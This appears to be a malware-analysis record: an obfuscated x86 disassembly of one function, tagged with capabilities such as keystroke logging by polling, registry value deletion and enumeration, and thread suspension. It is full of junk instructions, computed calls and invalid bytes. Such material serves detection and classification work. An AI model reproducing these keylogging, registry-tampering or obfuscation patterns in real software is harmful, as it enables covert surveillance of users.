Function at 0x403000
Capabilities:
Delete registry value
Log keystrokes via polling
Query or enumerate registry value
Suspend thread

Disassembly:
mov eax, 0
push 0
pop ebp
push ebp
mov dword [0x40c684], 0
mov edx, dword [0x40c684]
push edx
call dword [sym.imp.user32.dll_LoadMenuW]
mov dword [0x40c687], eax
push 0x735c6767
pop eax
mov dword [0x40c27b], 0
mov esi, dword [0x40c27b]
push esi
mov dword [0x40c00e], 0
mov edx, dword [0x40c00e]
push edx
call dword [sym.imp.user32.dll_LoadMenuW]
mov dword [0x40c8ec], eax
mov ebx, 0x30d788ad
mov eax, ebx
mov eax, 0
and eax, 0xfffffff
test dword [0x40c29b], eax
jne 0x403085
mov esi, 0x19e6
xor esi, eax
mov edi, 0x12e
sub eax, edi
shl eax, 3
add dword [0x40c460], eax
xor ebx, ebx
and ebx, 0xff
or ebx, dword [0x40c3df]
je 0x40309b
mov esi, 0x1f4a
xor esi, ebx
add ebx, 0x403
je 0x4030ab
inc ebx
shr ebx, 1
push ebx
pop dword [0x40c882]
mov dword [0x40c6e5], ebx
mov edx, 0x27
sub edx, 0x57e67618
jne 0x4049c2
mov dword [0x40c174], eax
push 0x227
pop ebp
rol ebp, 5
push ebp
mov edi, 0x161d
imul ebp, edi, 0x3b
or ebp, 0x7ad
jne 0x4030f4
rol ebp, 1
mov eax, 0xead
imul ebp, eax, 0x49
pop dword [0x40c5a5]
sub dword [0x40c21b], ebp
lea edi, [eax + ebx + 0x1e8d]
mov esi, 0x24a8
or edi, esi
sub edi, 0x98a
jne 0x403123
mov esi, 0xb96
add edi, esi
add edi, dword [0x40c680]
test edi, 0x1cc9
je 0x403138
mov eax, 0xd58
or edi, eax
add edi, 0x7e2
add dword [0x40c680], edi
mov esi, 0x2ed
mov edx, esi
sub edx, dword [0x40c6a4]
test dword [0x40c552], edx
je 0x403159
add edx, dword [0x40c5fa]
mov eax, 0x1198
imul edx, eax, 0x15
add edx, 0x413
jne 0x40316f
add edx, 0x46e
add dword [0x40c614], edx
leave
ret
dec eax
push 0x54
push 0x17
push 0x59
push 0x58
push 0x11
push 0x7f
push 0x6d
push 0x1d
push 0x5f
push 0x7e
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
mov edi, 0
shl edi, 1
push edi
pop dword [0x40c3d5]
mov dword [0x40cb01], edi
sub eax, 0x4e
call fcn.00403179
add eax, 1
mov ecx, esi
mov ebx, edi
mov esi, 0x106c
or ebx, esi
mov edx, ebx
mov dword [0x40c263], edx
mov ebx, 0x6ba
ror ebx, 4
test dword [0x40cdf9], ebx
jne 0x4031f6
shl ebx, 6
dec ebx
mov esi, 0x1d92
add ebx, esi
or ebx, 0xc8c
je 0x40320d
shr ebx, 4
and ebx, 0xfff
add ebx, dword [0x40c9b1]
push ebx
pop dword [0x40c076]
mov dword [0x40ca34], ebx
sub eax, 0x4e
call 0x4031c2
invalid
mov ebx, 0xa4
sub ebx, edi
mov eax, 0xe9
add ecx, esi
mov ebx, 0
mov esi, 0x10d9
xor esi, ebx
test ebx, 0x10ba
je 0x40324a
and ebx, 0xfffff
mov ecx, 0xa9d
xor ecx, ebx
or ebx, 0x1085
je 0x403260
mov edi, 0x15cb
sub ebx, edi
mov esi, 0x1e7d
add ebx, esi
test dword [0x40c09f], ebx
jne 0x403271
ror ebx, 1
mov dword [0x40c287], ebx
bnd jp 0x4032bf
mov dl, 0x99
sbb eax, 0x9ebbc5b9
das
js 0x4032f3
retf
jb 0x40321f
add edi, ecx
add edi, ecx
sub esi, ebx
or ecx, 0x6c
mov edi, 0x6f
mov edi, 0x75e
mov esi, 0x12d5
add edi, esi
or edi, 0x193a
jne 0x4032c6
shr edi, 7
mov esi, 0x220b
imul edi, esi, 0x18
and edi, 0xffff
sbb byte [ecx + 0xffffe7], al
add byte [ebx], ch
cmp eax, 0x40c7df
sub edi, dword [0x40c7df]
sub edi, 0xda6
jne 0x4032db
mov esi, 0x791
add edi, esi
rol edi, 1
mov ebx, edi
sub dword [0x40c964], ebx
dec ecx
into
in eax, 0x9c
stosd dword es:[edi], eax
mov byte [ebx], dh
xor dword [edx - 0x43], esi
mov dword [0x1d8960f1], eax
jmp 0x403292
sbb eax, 0x424b9ceb
add dword [edi + 0x34], ebp
leave
xchg ch, bh
invalid
push ebp
mov ebp, esp
sub esp, 4
push edi
push esi
push edi
mov dword [ebp - 4], edi
add edi, eax
or ebx, 0x64
or esi, 0x5e
mov ecx, 0xfe
push dword [0x40c72b]
push 0
call fcn.00403644
shr eax, 1
test dword [ebp - 4], eax
jne 0x4049f6
mov edi, 0x20bb
add eax, edi
rol eax, 8
add eax, 0x7fc
jne 0x404a0c
mov edi, 0xa69
or eax, edi
and eax, 0xffffff
mov esi, 0x113b
sub eax, esi
or eax, dword [0x40ca83]
je 0x404a24
shr eax, 1
mov ebx, 0x2ef
sub eax, ebx
mov dword [ebp - 4], eax
push 0
push 0xf003f
push 0
push 0
push 0x80000002
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push 0x40c231
push 0
mov dword [ebp - 4], ebx
dec esi
add esi, edi
add eax, ebx
add eax, ebx
inc ebx
lea eax, [0x40c2a0]
push eax
call fcn.00403833
mov ebx, 0x4d
dec ebx
add eax, ebx
dec edi
push dword [0x40cac2]
push 0x699c
push esi
push esi
push 0x4de
call fcn.004039d6
push 0xd743
push dword [0x40c43a]
lea eax, [0x40c839]
push eax
push dword [0x40c966]
call fcn.0040338f
push 0
call dword [sym.imp.user32.dll_GetDC]
cmp eax, 0xed5
jne 0x404aad
add eax, 0xf0e
ror eax, 3
mov edi, eax
mov esi, 0x20cc
sub edi, esi
add edi, 0x732
jne 0x404aca
shl edi, 6
add edi, dword [0x40c63a]
mov dword [ebp - 4], edi
xor ebx, ebx
mov edi, 0x555
xor edi, ebx
test ebx, 0xebe
je 0x404aec
mov eax, 0x231
or ebx, eax
mov esi, 0x1c92
sub ebx, esi
mov esi, 0x13a9
add ebx, esi
push ebx
pop dword [0x40c8af]
sub dword [0x40cb9f], ebx
push 0xb09f
push 0x40cd1d
add edi, ebx
add edi, eax
dec esi
add ebx, esi
sub edi, eax
sub edi, dword [0x41e781]
dec esi
lea eax, [0x40c530]
push eax
call fcn.00403a4c
mov edi, 0x4ae634c
push edi
push 0x2466a54b
pop ecx
push ecx
mov dword [ebp - 4], 0xb76b52a
mov esi, dword [ebp - 4]
push esi
mov dword [0x40c14e], 0
mov edx, dword [0x40c14e]
push edx
mov ecx, 0
mov esi, ecx
push esi
call dword [sym.imp.shell32.dll_SHGetDataFromIDListA]
or eax, eax
je 0x403222
dec eax
mov edx, eax
sub dword [0x40c4d9], edx
mov edi, 5
mov edx, edi
push edx
call dword [sym.imp.KERNEL32.DLL_SuspendThread]
inc eax
jne 0x403227
lea eax, [0x40c58e]
push eax
push esi
call fcn.00403b85
mov dword [0x40cada], eax
mov esi, eax
inc esi
or dword [ebp - 4], esi
jne 0x404baf
and esi, 0xffffff
sub esi, dword [0x40ca0e]
add esi, dword [0x40c9a0]
add esi, 0xb2a
sub esi, 0x14e
je 0x404bc5
mov edi, 0x6ef
imul esi, edi, 0x5b
add esi, 0x727
mov eax, esi
mov dword [0x40c022], eax
mov dword [str._bh__b_b__], 0
mov edx, dword [str._bh__b_b__]
push edx
call dword [sym.imp.user32.dll_RegisterWindowMessageA]
sub eax, dword [0x40c996]
cmp eax, 0x981
jne 0x404bf8
ror eax, 1
inc eax
mov esi, eax
mov dword [0x40c944], esi
mov edi, 9
push edi
call dword [sym.imp.gdi32.dll_StartPage]
inc eax
jne 0x40317d
add eax, dword [0x40ccd4]
sub eax, 0x2d
je 0x404c2f
mov edi, 0x14e4
sub eax, edi
dec eax
sub eax, 0x263
sub dword [0x40c098], eax
mov edi, eax
sub edi, dword [0x40cccb]
add edi, 0xc9
jne 0x404c55
mov eax, 0x15fe
add edi, eax
sub edi, 0xb3
shl edi, 8
mov dword [0x40c9a3], edi
mov esi, 3
mov edi, esi
push edi
call dword [sym.imp.KERNEL32.DLL_SuspendThread]
inc eax
jne 0x403227
push 0
push 0
push 0x40c8c0
push 0x1ec0
push 0x32
lea eax, [0x40c8f6]
push eax
call fcn.00403323
test al, al
je 0x404c9c
and ebx, 0xeb
or esi, 0x40
mov dword [0x40cc25], 0
mov eax, dword [0x40cc25]
push eax
call dword [sym.imp.user32.dll_GetKeyState]
or eax, eax
jne 0x40317d
push dword [0x40cc58]
push 0x40cbb2
push 0x40c376
push 0x40c4bd
call fcn.00403909
mov esi, 0x2fc
and esi, 0xfffffff
or esi, 0xa0c
jne 0x404cfc
mov eax, 0x125a
or esi, eax
mov edi, 0x41d
imul esi, edi, 0x37
and esi, 0xfffffff
dec esi
test dword [ebp - 4], esi
jne 0x404d10
mov ebx, 0x25af
imul esi, ebx, 0x4e
add esi, dword [0x40c514]
and esi, 0xf
mov edx, esi
add dword [0x40c425], edx
mov dword [ebp - 4], 0x24
mov edx, dword [ebp - 4]
push edx
mov dword [ebp - 4], 9
mov esi, dword [ebp - 4]
push esi
call dword [sym.imp.gdi32.dll_GetFontUnicodeRanges]
or eax, eax
jne 0x4031c2
push 0x3da1
lea eax, [0x40c5ef]
push eax
call fcn.00403b85
test al, al
je 0x404d5e
mov edx, 0xe0
add ebx, edi
mov ebx, 0x533
add eax, ebx
or dword [ebp - 4], eax
jne 0x404d7d
add eax, dword [0x40c7ec]
mov edi, 0x1ce8
sub eax, edi
sub eax, dword [0x40c61b]
add eax, 0x29d
push eax
ror eax, 2
add eax, 0x4be
jne 0x404d96
and eax, 0xf
ror eax, 6
pop dword [0x40c700]
add dword [0x40cc5d], eax
push 9
pop ecx
push ecx
call dword [sym.imp.gdi32.dll_GetTextCharset]
or eax, eax
je 0x40317d
push 0x40cbbc
push eax
or eax, dword [0x42f161]
push 0xcbea
mov dword [ebp - 4], edi
add esi, edi
sub edi, eax
dec ebx
push ebx
call fcn.00403909
push 3
pop ecx
push ecx
push 3
pop ebx
push ebx
call dword [sym.imp.gdi32.dll_SetSystemPaletteUse]
or eax, eax
jne 0x4031c8
inc eax
test eax, 0x1083
jne 0x404e06
sub eax, 0x84e
add eax, dword [0x40ca99]
mov dword [0x40c8a2], eax
mov esi, 0x6d
push esi
push 3
pop edx
push edx
call dword [sym.imp.gdi32.dll_GetFontUnicodeRanges]
or eax, eax
jne 0x403297
add eax, 0x76
jne 0x404e2f
shr eax, 1
mov dword [0x40c3dc], eax
xor edx, edx
push edx
mov dword [ebp - 4], 0
mov edi, dword [ebp - 4]
push edi
call dword [sym.imp.user32.dll_LoadCursorA]
or eax, eax
jne 0x403299
push ebx
push edi
push 0
call fcn.00403644
mov dword [ebp - 4], 0x79ec9a6a
mov ecx, dword [ebp - 4]
push ecx
mov esi, 0x2d55960d
mov eax, esi
push eax
mov dword [ebp - 4], 0xe5a24c7
mov ecx, dword [ebp - 4]
push ecx
xor ecx, ecx
push ecx
mov dword [0x40c993], 0
mov ebx, dword [0x40c993]
push ebx
call dword [sym.imp.shell32.dll_SHGetDataFromIDListA]
or eax, eax
je 0x403222
add eax, 2
dec ebx
push dword [0x40cc61]
mov esi, ebx
add edi, ebx
push dword [0x40cb9c]
mov edi, 0x17ecef99
sub edi, 0x17acb095
call edi
test eax, eax
je 0x40317d
mov ebx, eax
mov eax, 0x12b26d
mov edx, 0x2e16a0
add eax, edx
push eax
xor esi, esi
push esi
call dword [sym.imp.advapi32.dll_RegDeleteValueA]
or eax, eax
je 0x403227
push dword [0x40c3bb]
call fcn.00403526
push 0x10e26
pop edi
add edi, 0x3fb5cd
push edi
mov dword [ebp - 4], 0
mov esi, dword [ebp - 4]
push esi
call dword [sym.imp.advapi32.dll_RegDeleteValueA]
or eax, eax
je 0x40317d
lea eax, [0x40cc17]
push eax
push 0xe711
push 0
call fcn.00403833
mov eax, 0x70116c8
mov edi, eax
push edi
mov ecx, 0x145f0ff4
push ecx
mov esi, 0x185cdf3d
mov edx, esi
push edx
mov dword [0x40c3a8], 0
mov edi, dword [0x40c3a8]
push edi
xor edi, edi
push edi
call dword [sym.imp.shell32.dll_SHGetDataFromIDListA]
or eax, eax
je 0x403297
sub eax, dword [str.Apq_P_1_Ap_PQ0]
sub eax, 0xc16
jne 0x404f78
dec eax
shl eax, 1
mov edi, 0xb86
xor edi, eax
mov esi, eax
sub dword [0x40c112], esi
call fcn.00403c11
mov edi, 7
push edi
call dword [sym.imp.gdi32.dll_GetTextColor]
inc eax
jne 0x4031c2
push 0x946
pop edi
mov esi, 0x2455
sub edi, esi
test dword [0x40c3f1], edi
jne 0x404fb9
add edi, 0x1c2
sub edi, 0xc74
add edi, 0x36d
or dword [ebp - 4], edi
jne 0x404fd4
add edi, dword [0x40c2e8]
ror edi, 5
mov eax, 0x1748
xor eax, edi
mov dword [ebp - 4], edi
push edi
push 0xe6b9
call fcn.00403b85
mov esi, 0x8c5
sub esi, dword [0x40cc2c]
push esi
shl esi, 1
mov edx, esi
pop dword [0x40c748]
sub dword [0x40cdd8], edx
mov edx, 0x7c34bbac
mov edi, edx
push edi
mov eax, 0x7297264
push eax
mov esi, 0x47b231b5
push esi
mov dword [0x40c4cf], 0
mov ecx, dword [0x40c4cf]
push ecx
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.shell32.dll_SHGetDataFromIDListA]
push 0x40c59e
push 0x40c2e4
push edi
call fcn.00403a4c
mov dword [ebp - 4], eax
call dword [sym.imp.user32.dll_GetActiveWindow]
or eax, eax
jne 0x40317d
lea esi, [edi + ebp*2 + 0x2483]
add esi, dword [0x40c573]
cmp esi, 0x326
je 0x405079
mov edi, 0x147c
sub esi, edi
inc esi
mov edi, 0x1af9
add esi, edi
ror esi, 1
push esi
rol esi, 7
mov eax, esi
pop dword [0x40c989]
mov dword [0x40caf8], eax
mov dword [ebp - 4], ebx
inc eax
inc esi
add edi, eax
mov ecx, 0x57
push esi
lea eax, [0x40c875]
push eax
call fcn.00403b85
mov esi, 0x2136
or eax, esi
mov ecx, eax
add dword [0x40cb56], ecx
mov dword [ebp - 4], 5
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.gdi32.dll_GetTextColor]
inc eax
jne 0x403295
mov esi, eax
ror esi, 1
mov edi, esi
mov esi, 0x471
add edi, esi
cmp edi, 0x85
je 0x4050ec
dec edi
mov esi, 0xab2
xor esi, edi
ror edi, 6
rol edi, 6
test dword [0x40c508], edi
jne 0x4050fe
mov esi, 0x216
sub edi, esi
sub dword [str.kHx:], edi
rol eax, 1
or eax, dword [0x40c38f]
jne 0x405119
shl eax, 1
add eax, dword [0x40c91c]
shr eax, 7
mov dword [str._E_A], eax
mov edx, 0x1969fff
mov eax, edx
push eax
mov ecx, 0x399db5
add ecx, 0x7281c
push ecx
mov edx, 0xa8587
mov eax, edx
mov dword [ebp - 4], 0x363eb0
add eax, dword [ebp - 4]
push eax
xor ecx, ecx
push ecx
mov edi, 0x180992
mov dword [0x40cd2b], 0x28be08
add edi, dword [0x40cd2b]
push edi
mov ecx, 0x3f26d0
mov eax, ecx
mov edx, 0x1a15e
add eax, edx
push eax
mov dword [ebp - 4], 0xf5
mov esi, dword [ebp - 4]
push esi
mov dword [ebp - 4], 0
mov esi, dword [ebp - 4]
push esi
call dword [sym.imp.advapi32.dll_RegEnumValueA]
or eax, eax
je 0x403299
push esi
push 0x7443
push esi
mov eax, 0x3c7c87
add eax, 0x3c6ee
call eax
push esi
push edi
xor ebx, ebx
mov edi, 0x7f4
imul ebx, edi, 0x4c
mov edx, ebx
ror edx, 1
test dword [ebp - 4], edx
jne 0x4051bb
shl edx, 1
dec edx
mov edi, edx
sub dword [0x40cac7], edi
mov edi, esi
mov ebx, 0x2463
add edi, ebx
push edi
pop dword [0x40cbb4]
mov dword [ebp - 4], edi
push 0x40c677
push ebx
push 0x16ca
call fcn.004036b6
mov esi, 0
sub esi, dword [0x40cd00]
test dword [ebp - 4], esi
je 0x40520a
mov eax, 0x11ca
xor eax, esi
sub esi, dword [0x40c902]
add esi, 0x5ec
push esi
pop dword [0x40c990]
sub dword [0x40c3a7], esi
rol eax, 6
or eax, dword [0x40c42a]
jne 0x40522a
add eax, 0x6d2
inc eax
dec eax
mov dword [ebp - 4], eax
mov eax, 0xbb3
ror eax, 1
or dword [ebp - 4], eax
je 0x405246
mov edi, 0x1014
imul eax, edi, 0x4c
and eax, 0xfffff
mov ebx, 0x24db
or eax, ebx
mov edi, eax
add edi, 0x41c
test dword [ebp - 4], edi
jne 0x40525d
shr edi, 4
sub dword [0x40c7f4], edi
push 0x7ff7
push dword [0x40c239]
push 0xef32
call fcn.00403644
ror eax, 1
mov edi, eax
sub edi, 0xb76
or edi, dword [0x40c364]
jne 0x40529b
mov esi, 0x1a93
sub edi, esi
rol edi, 3
mov esi, 0x221d
or edi, esi
mov ebx, 0x51d
imul edi, ebx, 0x38
sub edi, 0x3a2
je 0x4052b3
dec edi
mov ebx, 0xea7
or edi, ebx
sub dword [str.__100Q], edi
ret